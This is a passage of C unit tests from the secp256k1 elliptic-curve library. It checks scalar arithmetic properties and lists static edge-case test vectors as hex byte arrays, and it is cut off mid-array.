1; if (now + i > 256) { now = 256 - i; } secp256k1_scalar_set_int(&t, secp256k1_scalar_get_bits_var(&s, 256 - now - i, now)); for (j = 0; j < now; j++) { secp256k1_scalar_add(&n, &n, &n); } secp256k1_scalar_add(&n, &n, &t); i += now; } CHECK(secp256k1_scalar_eq(&n, &s)); } #ifndef USE_NUM_NONE { /* Test that adding the scalars together is equal to adding their numbers together modulo the order. */ secp256k1_num rnum; secp256k1_num r2num; secp256k1_scalar r; secp256k1_num_add(&rnum, &snum, &s2num); secp256k1_num_mod(&rnum, &order); secp256k1_scalar_add(&r, &s, &s2); secp256k1_scalar_get_num(&r2num, &r); CHECK(secp256k1_num_eq(&rnum, &r2num)); } { /* Test that multiplying the scalars is equal to multiplying their numbers modulo the order. */ secp256k1_scalar r; secp256k1_num r2num; secp256k1_num rnum; secp256k1_num_mul(&rnum, &snum, &s2num); secp256k1_num_mod(&rnum, &order); secp256k1_scalar_mul(&r, &s, &s2); secp256k1_scalar_get_num(&r2num, &r); CHECK(secp256k1_num_eq(&rnum, &r2num)); /* The result can only be zero if at least one of the factors was zero. */ CHECK(secp256k1_scalar_is_zero(&r) == (secp256k1_scalar_is_zero(&s) || secp256k1_scalar_is_zero(&s2))); /* The results can only be equal to one of the factors if that factor was zero, or the other factor was one. */ CHECK(secp256k1_num_eq(&rnum, &snum) == (secp256k1_scalar_is_zero(&s) || secp256k1_scalar_is_one(&s2))); CHECK(secp256k1_num_eq(&rnum, &s2num) == (secp256k1_scalar_is_zero(&s2) || secp256k1_scalar_is_one(&s))); } { secp256k1_scalar neg; secp256k1_num negnum; secp256k1_num negnum2; /* Check that comparison with zero matches comparison with zero on the number. */ CHECK(secp256k1_num_is_zero(&snum) == secp256k1_scalar_is_zero(&s)); /* Check that comparison with the half order is equal to testing for high scalar. */ CHECK(secp256k1_scalar_is_high(&s) == (secp256k1_num_cmp(&snum, &half_order) > 0)); secp256k1_scalar_negate(&neg, &s); secp256k1_num_sub(&negnum, &order, &snum); secp256k1_num_mod(&negnum, &order); /* Check that comparison with the half order is equal to testing for high scalar after negation. */ CHECK(secp256k1_scalar_is_high(&neg) == (secp256k1_num_cmp(&negnum, &half_order) > 0)); /* Negating should change the high property, unless the value was already zero. */ CHECK((secp256k1_scalar_is_high(&s) == secp256k1_scalar_is_high(&neg)) == secp256k1_scalar_is_zero(&s)); secp256k1_scalar_get_num(&negnum2, &neg); /* Negating a scalar should be equal to (order - n) mod order on the number. */ CHECK(secp256k1_num_eq(&negnum, &negnum2)); secp256k1_scalar_add(&neg, &neg, &s); /* Adding a number to its negation should result in zero. */ CHECK(secp256k1_scalar_is_zero(&neg)); secp256k1_scalar_negate(&neg, &neg); /* Negating zero should still result in zero. */ CHECK(secp256k1_scalar_is_zero(&neg)); } { /* Test secp256k1_scalar_mul_shift_var. */ secp256k1_scalar r; secp256k1_num one; secp256k1_num rnum; secp256k1_num rnum2; unsigned char cone[1] = {0x01}; unsigned int shift = 256 + secp256k1_rand_int(257); secp256k1_scalar_mul_shift_var(&r, &s1, &s2, shift); secp256k1_num_mul(&rnum, &s1num, &s2num); secp256k1_num_shift(&rnum, shift - 1); secp256k1_num_set_bin(&one, cone, 1); secp256k1_num_add(&rnum, &rnum, &one); secp256k1_num_shift(&rnum, 1); secp256k1_scalar_get_num(&rnum2, &r); CHECK(secp256k1_num_eq(&rnum, &rnum2)); } { /* test secp256k1_scalar_shr_int */ secp256k1_scalar r; int i; random_scalar_order_test(&r); for (i = 0; i < 100; ++i) { int low; int shift = 1 + secp256k1_rand_int(15); int expected = r.d[0] % (1 << shift); low = secp256k1_scalar_shr_int(&r, shift); CHECK(expected == low); } } #endif { /* Test that scalar inverses are equal to the inverse of their number modulo the order. */ if (!secp256k1_scalar_is_zero(&s)) { secp256k1_scalar inv; #ifndef USE_NUM_NONE secp256k1_num invnum; secp256k1_num invnum2; #endif secp256k1_scalar_inverse(&inv, &s); #ifndef USE_NUM_NONE secp256k1_num_mod_inverse(&invnum, &snum, &order); secp256k1_scalar_get_num(&invnum2, &inv); CHECK(secp256k1_num_eq(&invnum, &invnum2)); #endif secp256k1_scalar_mul(&inv, &inv, &s); /* Multiplying a scalar with its inverse must result in one. */ CHECK(secp256k1_scalar_is_one(&inv)); secp256k1_scalar_inverse(&inv, &inv); /* Inverting one must result in one. */ CHECK(secp256k1_scalar_is_one(&inv)); #ifndef USE_NUM_NONE secp256k1_scalar_get_num(&invnum, &inv); CHECK(secp256k1_num_is_one(&invnum)); #endif } } { /* Test commutativity of add. */ secp256k1_scalar r1, r2; secp256k1_scalar_add(&r1, &s1, &s2); secp256k1_scalar_add(&r2, &s2, &s1); CHECK(secp256k1_scalar_eq(&r1, &r2)); } { secp256k1_scalar r1, r2; secp256k1_scalar b; int i; /* Test add_bit. */ int bit = secp256k1_rand_bits(8); secp256k1_scalar_set_int(&b, 1); CHECK(secp256k1_scalar_is_one(&b)); for (i = 0; i < bit; i++) { secp256k1_scalar_add(&b, &b, &b); } r1 = s1; r2 = s1; if (!secp256k1_scalar_add(&r1, &r1, &b)) { /* No overflow happened. */ secp256k1_scalar_cadd_bit(&r2, bit, 1); CHECK(secp256k1_scalar_eq(&r1, &r2)); /* cadd is a noop when flag is zero */ secp256k1_scalar_cadd_bit(&r2, bit, 0); CHECK(secp256k1_scalar_eq(&r1, &r2)); } } { /* Test commutativity of mul. */ secp256k1_scalar r1, r2; secp256k1_scalar_mul(&r1, &s1, &s2); secp256k1_scalar_mul(&r2, &s2, &s1); CHECK(secp256k1_scalar_eq(&r1, &r2)); } { /* Test associativity of add. */ secp256k1_scalar r1, r2; secp256k1_scalar_add(&r1, &s1, &s2); secp256k1_scalar_add(&r1, &r1, &s); secp256k1_scalar_add(&r2, &s2, &s); secp256k1_scalar_add(&r2, &s1, &r2); CHECK(secp256k1_scalar_eq(&r1, &r2)); } { /* Test associativity of mul. */ secp256k1_scalar r1, r2; secp256k1_scalar_mul(&r1, &s1, &s2); secp256k1_scalar_mul(&r1, &r1, &s); secp256k1_scalar_mul(&r2, &s2, &s); secp256k1_scalar_mul(&r2, &s1, &r2); CHECK(secp256k1_scalar_eq(&r1, &r2)); } { /* Test distributitivity of mul over add. */ secp256k1_scalar r1, r2, t; secp256k1_scalar_add(&r1, &s1, &s2); secp256k1_scalar_mul(&r1, &r1, &s); secp256k1_scalar_mul(&r2, &s1, &s); secp256k1_scalar_mul(&t, &s2, &s); secp256k1_scalar_add(&r2, &r2, &t); CHECK(secp256k1_scalar_eq(&r1, &r2)); } { /* Test square. */ secp256k1_scalar r1, r2; secp256k1_scalar_sqr(&r1, &s1); secp256k1_scalar_mul(&r2, &s1, &s1); CHECK(secp256k1_scalar_eq(&r1, &r2)); } { /* Test multiplicative identity. */ secp256k1_scalar r1, v1; secp256k1_scalar_set_int(&v1,1); secp256k1_scalar_mul(&r1, &s1, &v1); CHECK(secp256k1_scalar_eq(&r1, &s1)); } { /* Test additive identity. */ secp256k1_scalar r1, v0; secp256k1_scalar_set_int(&v0,0); secp256k1_scalar_add(&r1, &s1, &v0); CHECK(secp256k1_scalar_eq(&r1, &s1)); } { /* Test zero product property. */ secp256k1_scalar r1, v0; secp256k1_scalar_set_int(&v0,0); secp256k1_scalar_mul(&r1, &s1, &v0); CHECK(secp256k1_scalar_eq(&r1, &v0)); } } void run_scalar_tests(void) { int i; for (i = 0; i < 128 * count; i++) { scalar_test(); } { /* (-1)+1 should be zero. */ secp256k1_scalar s, o; secp256k1_scalar_set_int(&s, 1); CHECK(secp256k1_scalar_is_one(&s)); secp256k1_scalar_negate(&o, &s); secp256k1_scalar_add(&o, &o, &s); CHECK(secp256k1_scalar_is_zero(&o)); secp256k1_scalar_negate(&o, &o); CHECK(secp256k1_scalar_is_zero(&o)); } #ifndef USE_NUM_NONE { /* A scalar with value of the curve order should be 0. */ secp256k1_num order; secp256k1_scalar zero; unsigned char bin[32]; int overflow = 0; secp256k1_scalar_order_get_num(&order); secp256k1_num_get_bin(bin, 32, &order); secp256k1_scalar_set_b32(&zero, bin, &overflow); CHECK(overflow == 1); CHECK(secp256k1_scalar_is_zero(&zero)); } #endif { /* Does check_overflow check catch all ones? */ static const secp256k1_scalar overflowed = SECP256K1_SCALAR_CONST( 0xFFFFFFFFUL, 0xFFFFFFFFUL, 0xFFFFFFFFUL, 0xFFFFFFFFUL, 0xFFFFFFFFUL, 0xFFFFFFFFUL, 0xFFFFFFFFUL, 0xFFFFFFFFUL ); CHECK(secp256k1_scalar_check_overflow(&overflowed)); } { /* Static test vectors. * These were reduced from ~10^12 random vectors based on comparison-decision * and edge-case coverage on 32-bit and 64-bit implementations. * The responses were generated with Sage 5.9. */ secp256k1_scalar x; secp256k1_scalar y; secp256k1_scalar z; secp256k1_scalar zz; secp256k1_scalar one; secp256k1_scalar r1; secp256k1_scalar r2; #if defined(USE_SCALAR_INV_NUM) secp256k1_scalar zzv; #endif int overflow; unsigned char chal[33][2][32] = { {{0xff, 0xff, 0x03, 0x07, 0x00, 0x00, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf8, 0xff, 0xff, 0xff, 0xff, 0x03, 0x00, 0xc0, 0xff, 0xff, 0xff}, {0xff, 0xff, 0xff, 0xff, 0xff, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf8, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x03, 0x00, 0x00, 0x00, 0x00, 0xe0, 0xff}}, {{0xef, 0xff, 0x1f, 0x00, 0x00, 0x00, 0x00, 0x00, 0xfe, 0xff, 0xff, 0xff, 0xff, 0xff, 0x3f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}, {0xff, 0xff, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xe0, 0xff, 0xff, 0xff, 0xff, 0xfc, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x7f, 0x00, 0x80, 0xff}}, {{0xff, 0xff, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x80, 0x00, 0x00, 0x80, 0xff, 0x3f, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf8, 0xff, 0xff, 0xff, 0x00}, {0x00, 0x00, 0xfc, 0xff, 0xff, 0xff, 0xff, 0x80, 0xff, 0xff, 0xff, 0xff, 0xff, 0x0f, 0x00, 0xe0, 0xff, 0xff, 0xff, 0xff, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7f, 0xff, 0xff, 0xff}}, {{0xff, 0xff, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x80, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x00, 0x00, 0x1e, 0xf8, 0xff, 0xff, 0xff, 0xfd, 0xff}, {0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x1f, 0x00, 0x00, 0x00, 0xf8, 0xff, 0x03, 0x00, 0xe0, 0xff, 0x0f, 0x00, 0x00, 0x00, 0x00, 0xf0, 0xff, 0xf3, 0xff, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00}}, {{0x80, 0x00, 0x00, 0x80, 0xff, 0xff, 0xff, 0x00, 0x00, 0x1c, 0x00, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xe0, 0xff, 0xff, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00, 0xe0, 0xff, 0xff, 0xff}, {0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x03, 0x00, 0xf8, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x1f, 0x00, 0x00, 0x80, 0xff, 0xff, 0x3f, 0x00, 0xfe, 0xff, 0xff, 0xff, 0xdf, 0xff, 0xff}}, {{0xff, 0xff, 0xff, 0xff, 0x00, 0x0f, 0xfc, 0x9f, 0xff, 0xff, 0xff, 0x00, 0x80, 0x00, 0x00, 0x80, 0xff, 0x0f, 0xfc, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x00, 0xf8, 0xff, 0xff, 0xff, 0xff, 0xff, 0x00}, {0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0xf8, 0xff, 0x0f, 0xc0, 0xff, 0xff, 0xff, 0x1f, 0x00, 0x00, 0x00, 0xc0, 0xff, 0xff, 0xff, 0xff, 0xff, 0x07, 0x80, 0xff, 0xff, 0xff}}, {{0xff, 0xff, 0xff, 0xff, 0xff, 0x3f, 0x00, 0x00, 0x80, 0x00, 0x00, 0x80, 0xff, 0xff, 0xff, 0xff, 0xf7, 0xff, 0xff, 0xef, 0xff, 0xff, 0xff, 0x00, 0xff, 0xff, 0xff, 0x00, 0x00, 0x00, 0x00, 0xf0}, {0x00, 0x00, 0x00, 0x00, 0xf8, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff}}, {{0x00, 0xf8, 0xff, 0x03, 0xff, 0xff, 0xff, 0x00, 0x00, 0xfe, 0xff, 0xff, 0xff, 0xff, 0xff, 0x00, 0x80, 0x00, 0x00, 0x80, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x03, 0xc0, 0xff, 0x0f, 0xfc, 0xff}, {0xff, 0xff, 0xff, 0xff, 0xff, 0xe0, 0xff, 0xff, 0xff, 0x01, 0x00, 0x00, 0x00, 0x3f, 0x00, 0xc0, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff}}, {{0x8f, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf8, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x7f, 0x00, 0x00, 0x80, 0x00, 0x00, 0x80, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x00}, {0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}}, {{0x00, 0x00, 0x00, 0xc0, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x03, 0x00, 0x80, 0x00, 0x00, 0x80, 0xff, 0xff, 0xff, 0x00, 0x00, 0x80, 0xff, 0x7f}, {0xff, 0xcf, 0xff, 0xff, 0x01, 0x00, 0x00, 0x00, 0x00, 0xc0, 0xff, 0xcf, 0xff, 0xff, 0xff, 0xff, 0xbf, 0xff, 0x0e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0xff, 0xff, 0xff, 0xff, 0x00, 0x00, 0x00}}, {{0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0xff, 0xff, 0xff, 0xff, 0x00, 0xfc, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x00, 0x80, 0x00, 0x00, 0x80, 0xff, 0x01, 0xfc, 0xff, 0x01, 0x00, 0xfe, 0xff}, {0xff, 0xff, 0xff, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x03, 0x00}}, {{0xff, 0xff, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00, 0xe0, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x00, 0xf8, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x80}, {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf8, 0xff, 0x01, 0x00, 0xf0, 0xff, 0xff, 0xe0, 0xff, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}}, {{0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf8, 0xff, 0x00}, {0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x00, 0x00, 0xfc, 0xff, 0xff, 0x3f, 0xf0, 0xff, 0xff, 0x3f, 0x00, 0x00, 0xf8, 0x07, 0x00, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff, 0xff, 0x0f, 0x7e, 0x00, 0x00}}, {{0x00, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x80, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x1f, 0x00, 0x00, 0xfe, 0x07, 0x00}, {0x00, 0x00, 0x00, 0xf0, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xfb, 0xff, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x60}}, {{0xff, 0x01, 0x00, 0xff, 0xff, 0xff, 0x0f, 0x00, 0x80, 0x7f, 0xfe, 0xff, 0xff, 0xff, 0xff, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff}, {0xff, 0xff, 0x1f, 0x00, 0xf0, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x3f, 0x00, 0x00, 0x00, 0x00}}, {{0x80, 0x00, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff}, {0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xf1, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x03, 0x00, 0x00, 0x00, 0xe0, 0xff, 0xff, 0xff, 0xff}}, {{0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x00, 0x7e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0xff, 0xff, 0xcf, 0xff, 0x1f, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80}, {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xe0, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x3f, 0x00, 0x7e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}}, {{0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xfc, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7c, 0x00}, {0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0xff, 0xff, 0x7f, 0x00, 0x80, 0x00, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x00, 0x00, 0x00, 0xe0, 0xff, 0xff, 0xff, 0xff, 0xff}}, {{0xff, 0xff, 0xff, 0xff, 0xff, 0x1f, 0x00, 0x80, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x00}, {0xf0, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x3f, 0x00, 0x00, 0x80, 0xff, 0x01, 0x00, 0x00, 0x00, 0x00, 0xff, 0xff, 0xff, 0x7f, 0xf8, 0xff, 0xff, 0x1f, 0x00, 0xfe}}, {{0xff, 0xff, 0xff, 0x3f, 0xf8, 0xff, 0xff, 0xff, 0xff, 0x03, 0xfe, 0x01, 0x00, 0x00, 0x00, 0x00, 0xf0, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x07}, {0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0xff, 0xff, 0xff, 0xff, 0x01, 0x80, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x00}}, {{0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}, {0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xfe, 0xba, 0xae, 0xdc, 0xe6, 0xaf, 0x48, 0xa0, 0x3b, 0xbf, 0xd2, 0x5e, 0x8c, 0xd0, 0x36, 0x41, 0x40}}, {{0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01}, {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}}, {{0x7f, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff}, {0x7f, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff}}, {{0xff, 0xff, 0xff, 0xff, 0xff, 0x00, 0x00, 0xc0, 0xff, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf0, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x7f}, {0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x01, 0x00, 0xf0, 0xff, 0xff, 0xff, 0xff, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0xfe, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x01, 0xff, 0xff, 0xff}}, {{0x7f, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff}, {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02}}, {{0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xfe, 0xba, 0xae, 0xdc, 0xe6, 0xaf, 0x48, 0xa0, 0x3b, 0xbf, 0xd2, 0x5e, 0x8c, 0xd0, 0x36, 0x41, 0x40}, {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01}}, {{0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x7e, 0x00, 0x00, 0xc0, 0xff, 0xff, 0x07, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0xfc, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff}, {0xff, 0x01, 0x00, 0x00, 0x00, 0xe0, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x1f, 0x00, 0x80, 0xff, 0xff, 0xff, 0xff, 0xff, 0x03, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff}}, {{0xff, 0xff, 0xf0, 0xff, 0xff, 0xff, 0xff, 0x00, 0xf0, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x00, 0x00, 0xe0, 0xff, 0xff, 0xff, 0xff, 0xff, 0x01, 0x80, 0x00, 0x00, 0x80, 0xff, 0xff, 0xff, 0xff}, {0x00, 0x00, 0x00, 0x00, 0x00, 0xe0, 0xff, 0xff, 0xff, 0xff, 0x3f, 0x00, 0xf8, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x3f, 0x00, 0x00, 0xc0, 0xf1, 0x7f, 0x00}}, {{0xff, 0xff, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x80, 0xff, 0xff, 0xff, 0x00}, {0x00, 0xf8, 0xff, 0xff, 0xff, 0xff, 0xff, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf8, 0xff, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x80, 0x1f, 0x00, 0x00, 0xfc, 0xff, 0xff, 0x01, 0xff, 0xff}}, {{0x00, 0xfe, 0xff, 0xff, 0xff, 0xff, 0xff, 0x00, 0x80, 0x00, 0x00, 0x80, 0xff, 0x03, 0xe0, 0x01, 0xff, 0xff, 0xff, 0x00, 0x00, 0x00, 0xfc, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x00}, {0xff, 0xff, 0xff, 0xff, 0x00, 0x00, 0x00, 0x00, 0xfe, 0xff, 0xff, 0xf0, 0x07, 0x00, 0x3c, 0x80, 0xff, 0xff, 0xff, 0xff, 0xfc, 0xff, 0xff, 0xff, 0xff, 0xff, 0x07, 0xe0, 0xff, 0x00, 0x00, 0x00}}, {{0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x00, 0xfc, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x07, 0xf8, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x80}, {0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x0c, 0x80, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x7f, 0xfe, 0xff, 0x1f, 0x00, 0xfe, 0xff, 0x03, 0x00, 0x00, 0xfe, 0xff}}, {{0xff, 0xff, 0x81, 0xff, 0xff, 0xff, 0xff, 0x00, 0x80, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x83, 0xff, 0xff, 0x00, 0x00, 0x80, 0x00, 0x00, 0x80, 0xff, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x00, 0xf0}, {0xff, 0x01, 0x00, 0x00, 0x00, 0x00, 0xf8, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x1f, 0x00, 0x00, 